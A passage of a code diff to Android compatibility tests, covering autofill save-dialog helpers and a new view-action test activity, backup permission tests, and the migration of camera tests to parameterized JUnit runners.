import static android.autofillservice.cts.Timeouts.UI_TIMEOUT;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
@@ -36,11 +39,13 @@
import static org.junit.Assume.assumeTrue;
+import android.app.Activity;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.Context;
import android.content.res.Resources;
import android.graphics.Bitmap;
+import android.graphics.Rect;
import android.os.SystemClock;
import android.service.autofill.SaveInfo;
import android.support.test.uiautomator.By;
@@ -50,8 +55,13 @@
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
import android.text.Html;
+import android.text.Spanned;
+import android.text.style.URLSpan;
import android.util.Log;
+import android.view.View;
+import android.view.WindowInsets;
import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityNodeInfo;
import android.view.accessibility.AccessibilityWindowInfo;
import androidx.annotation.NonNull;
@@ -95,10 +105,18 @@
private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
"autofill_save_type_email_address";
- private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "save_password_notnow";
+ private static final String RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD =
+ "autofill_save_type_debit_card";
+ private static final String RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD =
+ "autofill_save_type_payment_card";
+ private static final String RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD =
+ "autofill_save_type_generic_card";
+ private static final String RESOURCE_STRING_SAVE_BUTTON_NEVER = "autofill_save_never";
+ private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "autofill_save_notnow";
private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
private static final String RESOURCE_STRING_SAVE_BUTTON_YES = "autofill_save_yes";
private static final String RESOURCE_STRING_UPDATE_BUTTON_YES = "autofill_update_yes";
+ private static final String RESOURCE_STRING_CONTINUE_BUTTON_YES = "autofill_continue_yes";
private static final String RESOURCE_STRING_UPDATE_TITLE = "autofill_update_title";
private static final String RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE =
"autofill_update_title_with_type";
@@ -333,7 +351,8 @@
}
/**
- * Selects a dataset that should be visible in the floating UI.
+ * Selects a dataset that should be visible in the floating UI and does not need to wait for
+ * application become idle.
*/
public void selectDataset(String name) throws Exception {
final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
@@ -341,6 +360,16 @@
}
/**
+ * Selects a dataset that should be visible in the floating UI and waits for application become
+ * idle if needed.
+ */
+ public void selectDatasetSync(String name) throws Exception {
+ final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+ selectDataset(picker, name);
+ mDevice.waitForIdle();
+ }
+
+ /**
* Selects a dataset that should be visible in the floating UI.
*/
public void selectDataset(UiObject2 picker, String name) {
@@ -603,6 +632,15 @@
case SAVE_DATA_TYPE_EMAIL_ADDRESS:
typeResourceName = RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS;
break;
+ case SAVE_DATA_TYPE_DEBIT_CARD:
+ typeResourceName = RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD;
+ break;
+ case SAVE_DATA_TYPE_PAYMENT_CARD:
+ typeResourceName = RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD;
+ break;
+ case SAVE_DATA_TYPE_GENERIC_CARD:
+ typeResourceName = RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD;
+ break;
default:
throw new IllegalArgumentException("Unsupported type: " + type);
}
@@ -626,9 +664,21 @@
SAVE_TIMEOUT, types);
}
+ public UiObject2 assertSaveShowing(int positiveButtonStyle, int... types) throws Exception {
+ return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+ positiveButtonStyle, /* description= */ null, SAVE_TIMEOUT, types);
+ }
public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
String description, Timeout timeout, int... types) throws Exception {
+ return assertSaveOrUpdateShowing(update, negativeButtonStyle,
+ SaveInfo.POSITIVE_BUTTON_STYLE_SAVE, description, timeout, types);
+ }
+
+ public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
+ int positiveButtonStyle, String description, Timeout timeout, int... types)
+ throws Exception {
+
final UiObject2 snackbar = waitForObject(SAVE_UI_SELECTOR, timeout);
final UiObject2 titleView =
@@ -682,18 +732,29 @@
assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
}
- final String positiveButtonStringId = update ? RESOURCE_STRING_UPDATE_BUTTON_YES
- : RESOURCE_STRING_SAVE_BUTTON_YES;
+ final String positiveButtonStringId;
+ switch (positiveButtonStyle) {
+ case SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE:
+ positiveButtonStringId = RESOURCE_STRING_CONTINUE_BUTTON_YES;
+ break;
+ default:
+ positiveButtonStringId = update ? RESOURCE_STRING_UPDATE_BUTTON_YES
+ : RESOURCE_STRING_SAVE_BUTTON_YES;
+ }
final String expectedPositiveButtonText = getString(positiveButtonStringId).toUpperCase();
final UiObject2 positiveButton = waitForObject(snackbar,
By.res("android", RESOURCE_ID_SAVE_BUTTON_YES), timeout);
assertWithMessage("wrong text on positive button")
.that(positiveButton.getText().toUpperCase()).isEqualTo(expectedPositiveButtonText);
- final String negativeButtonStringId =
- (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT)
- ? RESOURCE_STRING_SAVE_BUTTON_NOT_NOW
- : RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
+ final String negativeButtonStringId;
+ if (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) {
+ negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NOT_NOW;
+ } else if (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_NEVER) {
+ negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NEVER;
+ } else {
+ negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
+ }
final String expectedNegativeButtonText = getString(negativeButtonStringId).toUpperCase();
final UiObject2 negativeButton = waitForObject(snackbar,
By.res("android", RESOURCE_ID_SAVE_BUTTON_NO), timeout);
@@ -732,11 +793,21 @@
*/
public void saveForAutofill(int negativeButtonStyle, boolean yesDoIt, int... types)
throws Exception {
- final UiObject2 saveSnackBar = assertSaveShowing(negativeButtonStyle,null, types);
+ final UiObject2 saveSnackBar = assertSaveShowing(negativeButtonStyle, null, types);
saveForAutofill(saveSnackBar, yesDoIt);
}
/**
+ * Taps the positive button in the save snackbar.
+ *
+ * @param types expected types of save info.
+ */
+ public void saveForAutofill(int positiveButtonStyle, int... types) throws Exception {
+ final UiObject2 saveSnackBar = assertSaveShowing(positiveButtonStyle, types);
+ saveForAutofill(saveSnackBar, /* yesDoIt= */ true);
+ }
+
+ /**
* Taps an option in the save snackbar.
*
* @param saveSnackBar Save snackbar, typically obtained through
@@ -817,7 +888,12 @@
private String getString(String id) {
final Resources resources = mContext.getResources();
final int stringId = resources.getIdentifier(id, "string", "android");
- return resources.getString(stringId);
+ try {
+ return resources.getString(stringId);
+ } catch (Resources.NotFoundException e) {
+ throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
+ + ": ", e);
+ }
}
/**
@@ -826,7 +902,12 @@
private String getString(String id, Object... formatArgs) {
final Resources resources = mContext.getResources();
final int stringId = resources.getIdentifier(id, "string", "android");
- return resources.getString(stringId, formatArgs);
+ try {
+ return resources.getString(stringId, formatArgs);
+ } catch (Resources.NotFoundException e) {
+ throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
+ + ": ", e);
+ }
}
/**
@@ -1014,15 +1095,49 @@
}
}
+ private Rect cropScreenshotWithoutScreenDecoration(Activity activity) {
+ final WindowInsets[] inset = new WindowInsets[1];
+ final View[] rootView = new View[1];
+
+ InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
+ rootView[0] = activity.getWindow().getDecorView();
+ inset[0] = rootView[0].getRootWindowInsets();
+ });
+ final int navBarHeight = inset[0].getStableInsetBottom();
+ final int statusBarHeight = inset[0].getStableInsetTop();
+
+ return new Rect(0, statusBarHeight, rootView[0].getWidth(),
+ rootView[0].getHeight() - navBarHeight - statusBarHeight);
+ }
+
// TODO(b/74358143): ideally we should take a screenshot limited by the boundaries of the
// activity window, so external elements (such as the clock) are filtered out and don't cause
// test flakiness when the contents are compared.
public Bitmap takeScreenshot() {
+ return takeScreenshotWithRect(null);
+ }
+
+ public Bitmap takeScreenshot(@NonNull Activity activity) {
+ // crop the screenshot without screen decoration to prevent test flakiness.
+ final Rect rect = cropScreenshotWithoutScreenDecoration(activity);
+ return takeScreenshotWithRect(rect);
+ }
+
+ private Bitmap takeScreenshotWithRect(@Nullable Rect r) {
final long before = SystemClock.elapsedRealtime();
final Bitmap bitmap = mAutoman.takeScreenshot();
final long delta = SystemClock.elapsedRealtime() - before;
Log.v(TAG, "Screenshot taken in " + delta + "ms");
- return bitmap;
+ if (r == null) {
+ return bitmap;
+ }
+ try {
+ return Bitmap.createBitmap(bitmap, r.left, r.top, r.right, r.bottom);
+ } finally {
+ if (bitmap != null) {
+ bitmap.recycle();
+ }
+ }
}
/**
@@ -1085,4 +1200,25 @@
SystemClock.sleep(timeout);
}
}
+
+ /**
+ * Finds the first {@link URLSpan} on the current screen.
+ */
+ public URLSpan findFirstUrlSpanWithText(String str) throws Exception {
+ final List<AccessibilityNodeInfo> list = mAutoman.getRootInActiveWindow()
+ .findAccessibilityNodeInfosByText(str);
+ if (list.isEmpty()) {
+ throw new AssertionError("Didn't found AccessibilityNodeInfo with " + str);
+ }
+
+ final AccessibilityNodeInfo text = list.get(0);
+ final CharSequence accessibilityTextWithSpan = text.getText();
+ if (!(accessibilityTextWithSpan instanceof Spanned)) {
+ throw new AssertionError("\"" + text.getViewIdResourceName() + "\" was not a Spanned");
+ }
+
+ final URLSpan[] spans = ((Spanned) accessibilityTextWithSpan)
+ .getSpans(0, accessibilityTextWithSpan.length(), URLSpan.class);
+ return spans[0];
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewActionActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ViewActionActivity.java
new file mode 100644
index 0000000..58fb45b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewActionActivity.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.widget.TextView;
+
+/**
+ * Activity that handles VIEW action.
+ */
+public class ViewActionActivity extends AbstractAutoFillActivity {
+
+ private static ViewActionActivity sInstance;
+
+ private static final String TAG = "ViewActionHandleActivity";
+ static final String ID_WELCOME = "welcome";
+ static final String DEFAULT_MESSAGE = "Welcome VIEW action handle activity";
+ private boolean mHasCustomBackBehavior;
+
+ enum ActivityCustomAction {
+ NORMAL_ACTIVITY,
+ FAST_FORWARD_ANOTHER_ACTIVITY,
+ TAP_BACK_WITHOUT_FINISH
+ }
+
+ public ViewActionActivity() {
+ sInstance = this;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.welcome_activity);
+
+ final Uri data = getIntent().getData();
+ ActivityCustomAction type = ActivityCustomAction.valueOf(data.getSchemeSpecificPart());
+
+ switch (type) {
+ case FAST_FORWARD_ANOTHER_ACTIVITY:
+ startSecondActivity();
+ break;
+ case TAP_BACK_WITHOUT_FINISH:
+ mHasCustomBackBehavior = true;
+ break;
+ case NORMAL_ACTIVITY:
+ default:
+ // no-op
+ }
+
+ TextView welcome = (TextView) findViewById(R.id.welcome);
+ welcome.setText(DEFAULT_MESSAGE);
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+
+ Log.v(TAG, "Setting sInstance to null onDestroy()");
+ sInstance = null;
+ }
+
+ @Override
+ public void finish() {
+ super.finish();
+ mHasCustomBackBehavior = false;
+ }
+
+ @Override
+ public void onBackPressed() {
+ if (mHasCustomBackBehavior) {
+ moveTaskToBack(true);
+ return;
+ }
+ super.onBackPressed();
+ }
+
+ static void finishIt() {
+ if (sInstance != null) {
+ sInstance.finish();
+ }
+ }
+
+ private void startSecondActivity() {
+ final Intent intent = new Intent(this, SecondActivity.class)
+ .setFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
+ startActivity(intent);
+ finish();
+ }
+
+ static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+ final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
+ assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+ .isEqualTo(DEFAULT_MESSAGE);
+ }
+}
diff --git a/tests/backup/Android.bp b/tests/backup/Android.bp
index 019c864..1b7728c 100644
--- a/tests/backup/Android.bp
+++ b/tests/backup/Android.bp
@@ -26,6 +26,7 @@
"ctstestrunner-axt",
"ctstestserver",
"mockito-target-minus-junit4",
+ "permission-test-util-lib",
"testng",
],
host_required: ["CtsBackupHostTestCases"],
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index fdaac0e..1f99fdb 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -20,9 +20,13 @@
<!-- Backup of instant apps is not supported. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <!-- Run this module in system user because backup tests are not fully supported in secondary user.
- For devices running on secondary user, such as automotive devices, these tests will fail.
- This should be removed when backup tests are fully functional for secondary users. -->
+ <!-- Run module in system user because backup tests are not fully supported in secondary user.
+ For devices running on secondary user, such as automotive devices, these tests will fail.
+ When backup tests are fully functional for secondary users:
+ -change not_secondary_user to secondary_user.
+ -remove SwitchUserTargetPreparer
+ -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
<option name="user-type" value="system" />
</target_preparer>
diff --git a/tests/backup/OWNERS b/tests/backup/OWNERS
index 3637e32..e0e5e22 100644
--- a/tests/backup/OWNERS
+++ b/tests/backup/OWNERS
@@ -1,6 +1,8 @@
+# Bug component: 41666
# Use this reviewer by default.
br-framework-team+reviews@google.com
+alsutton@google.com
anniemeng@google.com
brufino@google.com
nathch@google.com
diff --git a/tests/backup/TEST_MAPPING b/tests/backup/TEST_MAPPING
new file mode 100644
index 0000000..4e5beb0
--- /dev/null
+++ b/tests/backup/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsBackupTestCases"
+ }
+ ]
+}
diff --git a/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java b/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
index 8535344..0f4a123 100644
--- a/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
+++ b/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
@@ -53,23 +53,25 @@
@Override
public void onRestoreFile(ParcelFileDescriptor data, long size,
File destination, int type, long mode, long mtime) throws IOException {
- Log.d(MainActivity.TAG, "onRestoreFile " + destination);
super.onRestoreFile(data, size, destination, type, mode, mtime);
+ Log.d(MainActivity.TAG, "onRestoreFile " + destination);
}
@Override
public void onFullBackup(FullBackupDataOutput data) throws IOException {
- Log.d(MainActivity.TAG, "Full backup requested, quota is " + data.getQuota());
super.onFullBackup(data);
+ Log.d(MainActivity.TAG, "Full backup requested, quota is " + data.getQuota());
}
@Override
public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
+ super.onQuotaExceeded(backupDataBytes, quotaBytes);
Log.d(MainActivity.TAG, "Quota exceeded!");
}
@Override
public void onRestoreFinished() {
+ super.onRestoreFinished();
Log.d(MainActivity.TAG, "onRestoreFinished");
}
diff --git a/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java b/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
index 155d8f9..c73731e 100644
--- a/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
+++ b/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
@@ -77,11 +77,13 @@
@Override
public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
+ super.onQuotaExceeded(backupDataBytes, quotaBytes);
Log.d(MainActivity.TAG, "Quota exceeded!");
}
@Override
public void onRestoreFinished() {
+ super.onRestoreFinished();
Log.d(MainActivity.TAG, "onRestoreFinished");
}
diff --git a/tests/backup/src/android/backup/cts/PermissionTest.java b/tests/backup/src/android/backup/cts/PermissionTest.java
index 24d87bd..ee40922 100644
--- a/tests/backup/src/android/backup/cts/PermissionTest.java
+++ b/tests/backup/src/android/backup/cts/PermissionTest.java
@@ -29,6 +29,7 @@
import static android.content.pm.PackageManager.FLAG_PERMISSION_USER_SET;
import static android.content.pm.PackageManager.PERMISSION_DENIED;
import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static android.permission.cts.PermissionUtils.grantPermission;
import static com.android.compatibility.common.util.BackupUtils.LOCAL_TRANSPORT_TOKEN;
import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
@@ -93,7 +94,7 @@
* Test backup and restore of regular runtime permission.
*/
public void testGrantDeniedRuntimePermission() throws Exception {
- grantRuntimePermission(APP, ACCESS_FINE_LOCATION);
+ grantPermission(APP, ACCESS_FINE_LOCATION);
mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
resetApp(APP);
@@ -126,7 +127,7 @@
*/
public void testNoTriStateRuntimePermission() throws Exception {
// Set a marker
- grantRuntimePermission(APP, WRITE_CONTACTS);
+ grantPermission(APP, WRITE_CONTACTS);
// revoked is the default state. Hence mark the permissions as user set, so the permissions
// are even backed up
@@ -164,8 +165,7 @@
* Test backup and restore of foreground runtime permission.
*/
public void testGrantForegroundRuntimePermission() throws Exception {
- grantRuntimePermission(APP, ACCESS_FINE_LOCATION);
- setAppOp(APP, ACCESS_FINE_LOCATION, MODE_FOREGROUND);
+ grantPermission(APP, ACCESS_FINE_LOCATION);
// revoked is the default state. Hence mark the permission as user set, so the permissions
// are even backed up
@@ -199,8 +199,8 @@
* Test backup and restore of foreground runtime permission.
*/
public void testGrantForegroundAndBackgroundRuntimePermission() throws Exception {
- grantRuntimePermission(APP, ACCESS_FINE_LOCATION);
- grantRuntimePermission(APP, ACCESS_BACKGROUND_LOCATION);
+ grantPermission(APP, ACCESS_FINE_LOCATION);
+ grantPermission(APP, ACCESS_BACKGROUND_LOCATION);
mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
resetApp(APP);
@@ -218,7 +218,7 @@
*/
public void testGrantForegroundAndBackgroundRuntimePermission22() throws Exception {
// Set a marker
- setAppOp(APP, WRITE_CONTACTS, MODE_IGNORED);
+ setAppOp(APP22, WRITE_CONTACTS, MODE_IGNORED);
mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
resetApp(APP22);
@@ -226,9 +226,9 @@
eventually(() -> {
// Wait for marker
- assertEquals(MODE_IGNORED, getAppOp(APP, WRITE_CONTACTS));
+ assertEquals(MODE_IGNORED, getAppOp(APP22, WRITE_CONTACTS));
- assertEquals(MODE_ALLOWED, getAppOp(APP, ACCESS_FINE_LOCATION));
+ assertEquals(MODE_ALLOWED, getAppOp(APP22, ACCESS_FINE_LOCATION));
});
}
@@ -288,8 +288,8 @@
/**
* Test backup and delayed restore of regular runtime permission.
*/
- public void testDelayedRestore() throws IOException {
- grantRuntimePermission(APP, ACCESS_FINE_LOCATION);
+ public void testDelayedRestore() throws Exception {
+ grantPermission(APP, ACCESS_FINE_LOCATION);
setAppOp(APP22, READ_CONTACTS, MODE_IGNORED);
@@ -381,13 +381,6 @@
return sContext.getPackageManager().checkPermission(permission, app);
}
- private void grantRuntimePermission(String app, String permission) {
- if (checkPermission(app, permission) != PERMISSION_GRANTED) {
- getInstrumentation().getUiAutomation().grantRuntimePermission(app, permission);
- assertEquals(PERMISSION_GRANTED, checkPermission(app, permission));
- }
- }
-
private void setAppOp(String app, String permission, int mode) {
runWithShellPermissionIdentity(
() -> sContext.getSystemService(AppOpsManager.class).setUidMode(
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index b605b16..df9e106 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -28,7 +28,7 @@
LOCAL_MODULE := CtsCameraUtils
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
-include cts/error_prone_rules_tests.mk
include $(BUILD_STATIC_JAVA_LIBRARY)
@@ -50,9 +50,9 @@
androidx.test.rules
LOCAL_SRC_FILES := \
- src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java \
+ src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java \
src/android/hardware/camera2/cts/PerformanceTest.java \
- src/android/hardware/cts/CameraTestCase.java \
+ src/android/hardware/cts/CameraPerformanceTestHelper.java \
src/android/hardware/cts/LegacyCameraPerformanceTest.java
LOCAL_SDK_VERSION := test_current
diff --git a/tests/camera/api25test/AndroidTest.xml b/tests/camera/api25test/AndroidTest.xml
index 2a4bed1..b431952 100644
--- a/tests/camera/api25test/AndroidTest.xml
+++ b/tests/camera/api25test/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="camera" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index b9fc256..fb78a90 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -2721,10 +2721,12 @@
goto cleanup;
}
+ StaticInfo staticInfo(chars);
ACameraMetadata_const_entry sessionParamKeys{};
ret = ACameraMetadata_getConstEntry(chars, ACAMERA_REQUEST_AVAILABLE_SESSION_KEYS,
&sessionParamKeys);
- if ((ret != ACAMERA_OK) || (sessionParamKeys.count == 0)) {
+ if ((ret != ACAMERA_OK) || (sessionParamKeys.count == 0) ||
+ !staticInfo.isColorOutputSupported()) {
ACameraMetadata_free(chars);
chars = nullptr;
continue;
@@ -3420,6 +3422,8 @@
goto exit;
}
+ usleep(100000); // sleep to give some time for callbacks to happen
+
if (testCase.isCameraAvailable(cameraId)) {
LOG_ERROR(errorString, "Camera %s should be unavailable now", cameraId);
goto exit;
diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index 92b171a..776879d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -21,10 +21,13 @@
import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
import static android.hardware.camera2.cts.CameraTestUtils.*;
import static com.android.ex.camera2.blocking.BlockingStateCallback.*;
+import static junit.framework.Assert.*;
import android.content.Context;
import android.graphics.ImageFormat;
import android.graphics.RectF;
+
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraCharacteristics;
@@ -50,11 +53,12 @@
import android.os.HandlerThread;
import android.renderscript.Allocation;
import android.renderscript.Script.LaunchOptions;
-import android.test.AndroidTestCase;
import android.util.Log;
import android.util.Rational;
import android.view.Surface;
+import androidx.test.InstrumentationRegistry;
+
import com.android.ex.camera2.blocking.BlockingCameraManager.BlockingOpenException;
import com.android.ex.camera2.blocking.BlockingStateCallback;
import com.android.ex.camera2.blocking.BlockingSessionCallback;
@@ -63,6 +67,10 @@
import java.util.Arrays;
import java.util.List;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
/**
* Suite of tests for camera2 -> RenderScript APIs.
*
@@ -71,17 +79,17 @@
*
* <p>YUV_420_888: flexible YUV420, it is a mandatory format for camera.</p>
*/
-public class AllocationTest extends AndroidTestCase {
+
+@RunWith(Parameterized.class)
+public class AllocationTest extends Camera2ParameterizedTestCase {
private static final String TAG = "AllocationTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
- private CameraManager mCameraManager;
private CameraDevice mCamera;
private CameraCaptureSession mSession;
private BlockingStateCallback mCameraListener;
private BlockingSessionCallback mSessionListener;
- private String[] mCameraIds;
private Handler mHandler;
private HandlerThread mHandlerThread;
@@ -91,16 +99,8 @@
private ResultIterable mResultIterable;
@Override
- public synchronized void setContext(Context context) {
- super.setContext(context);
- mCameraManager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
- assertNotNull("Can't connect to camera manager!", mCameraManager);
- }
-
- @Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
- mCameraIds = mCameraManager.getCameraIdList();
mHandlerThread = new HandlerThread("AllocationTest");
mHandlerThread.start();
mHandler = new Handler(mHandlerThread.getLooper());
@@ -110,11 +110,11 @@
mSizeIterable = new SizeIterable();
mResultIterable = new ResultIterable();
- RenderScriptSingleton.setContext(getContext());
+ RenderScriptSingleton.setContext(mContext);
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
MaybeNull.close(mCamera);
RenderScriptSingleton.clearContext();
mHandlerThread.quitSafely();
@@ -475,6 +475,7 @@
if (VERBOSE) Log.v(TAG, "validating Buffer , size = " + actualSize);
}
+ @Test
public void testAllocationFromCameraFlexibleYuv() throws Exception {
/** number of frame (for streaming requests) to be verified. */
@@ -516,7 +517,7 @@
if (VERBOSE) Log.v(TAG, "Cleanup Renderscript cache");
scriptGraph.close();
RenderScriptSingleton.clearContext();
- RenderScriptSingleton.setContext(getContext());
+ RenderScriptSingleton.setContext(mContext);
}
}
});
@@ -533,6 +534,7 @@
*
* @throws Exception
*/
+ @Test
public void testBlackWhite() throws CameraAccessException {
/** low iso + low exposure (first shot) */
@@ -610,6 +612,7 @@
/**
* Test that the android.sensitivity.parameter is applied.
*/
+ @Test
public void testParamSensitivity() throws CameraAccessException {
final float THRESHOLD_MAX_MIN_DIFF = 0.3f;
final float THRESHOLD_MAX_MIN_RATIO = 2.0f;
@@ -761,33 +764,33 @@
public void forEachCamera(boolean fullHwLevel, CameraBlock runnable)
throws CameraAccessException {
assertNotNull("No camera manager", mCameraManager);
- assertNotNull("No camera IDs", mCameraIds);
+ assertNotNull("No camera IDs", mCameraIdsUnderTest);
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
// Don't execute the runnable against non-FULL cameras if FULL is required
CameraCharacteristics properties =
- mCameraManager.getCameraCharacteristics(mCameraIds[i]);
+ mCameraManager.getCameraCharacteristics(mCameraIdsUnderTest[i]);
StaticMetadata staticInfo = new StaticMetadata(properties);
if (fullHwLevel && !staticInfo.isHardwareLevelAtLeastFull()) {
Log.i(TAG, String.format(
"Skipping this test for camera %s, needs FULL hw level",
- mCameraIds[i]));
+ mCameraIdsUnderTest[i]));
continue;
}
if (!staticInfo.isColorOutputSupported()) {
Log.i(TAG, String.format(
"Skipping this test for camera %s, does not support regular outputs",
- mCameraIds[i]));
+ mCameraIdsUnderTest[i]));
continue;
}
// Open camera and execute test
- Log.i(TAG, "Testing Camera " + mCameraIds[i]);
+ Log.i(TAG, "Testing Camera " + mCameraIdsUnderTest[i]);
try {
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
runnable.run(mCamera);
} finally {
- closeDevice(mCameraIds[i]);
+ closeDevice(mCameraIdsUnderTest[i]);
}
}
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java
index 7b23abf..afff41b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java
@@ -37,11 +37,14 @@
import java.util.ArrayList;
